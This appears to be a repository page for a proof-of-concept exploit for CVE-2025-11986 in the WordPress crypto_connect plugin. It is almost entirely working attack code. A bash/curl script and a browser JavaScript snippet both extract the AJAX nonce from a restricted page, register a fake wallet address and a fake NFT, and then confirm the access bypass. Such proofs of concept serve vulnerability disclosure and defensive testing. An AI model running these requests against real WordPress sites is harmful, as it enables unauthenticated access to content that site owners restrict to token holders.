jfriedli/cve-2025-11986Proof-of-concept exploit for CVE-2025-11986 demonstrating unauthenticated access bypass in WordPress crypto_connect plugin via nonce extraction and fake NFT registration.
crypto_ajax nonce from the restricted pageUA='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0'
NONCE=$(curl -s "http://localhost/wordpress/<RESTRICTED_PAGE_URL>" -A "$UA" | \
perl -0777 -ne 'print "$1\n" if /crypto_connectChainAjax\s*=\s*\{[^}]*"nonce"\s*:\s*"([^"]+)"/s')
# Fallback extraction method
[ -z "$NONCE" ] && NONCE=$(curl -s "http://localhost/wordpress/<RESTRICTED_PAGE_URL>" -A "$UA" | \
perl -ne "print \"$1\n\" if /create_link_crypto_connect_login\\(\\s*'([A-Za-z0-9_-]+)'/i")
echo "Nonce: $NONCE"
curl -s "http://localhost/wordpress/wp-admin/admin-ajax.php" -A "$UA" \
--data "action=crypto_connect_ajax_process&method_name=register&id=1&nonce=${NONCE}¶m1=0xDEADBEEF00000000000000000000000000000000"
curl -s "http://localhost/wordpress/wp-admin/admin-ajax.php" -A "$UA" \
--data "action=crypto_connect_ajax_process&method_name=savenft&id=1&nonce=${NONCE}¶m1=¶m2=attacker.yak¶m3=1"
curl -s "http://localhost/wordpress/<RESTRICTED_PAGE_URL>" -A "$UA" | \
grep -F 'SECRET: ONLY FOR HOLDERS' && echo "[+] Access bypass confirmed"
(() => {
const n =
(window.crypto_connectChainAjax && window.crypto_connectChainAjax.nonce) ||
(document.documentElement.innerHTML.match(/create_link_crypto_connect_login\('([^']+)'/) || [])[1];
if (!n) {
console.error('nonce not found');
return;
}
const post = d =>
fetch('/wordpress/wp-admin/admin-ajax.php', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams(d)
})
.then(r => r.text())
.then(t => (console.log(t), t));
(async () => {
await post({
action: 'crypto_connect_ajax_process',
method_name: 'register',
id: '1',
nonce: n,
param1: '0xDEADBEEF00000000000000000000000000000000'
});
await post({
action: 'crypto_connect_ajax_process',
method_name: 'savenft',
id: '1',
nonce: n,
param1: '',
param2: 'attacker.yak',
param3: '1'
});
location.reload();
})();
})();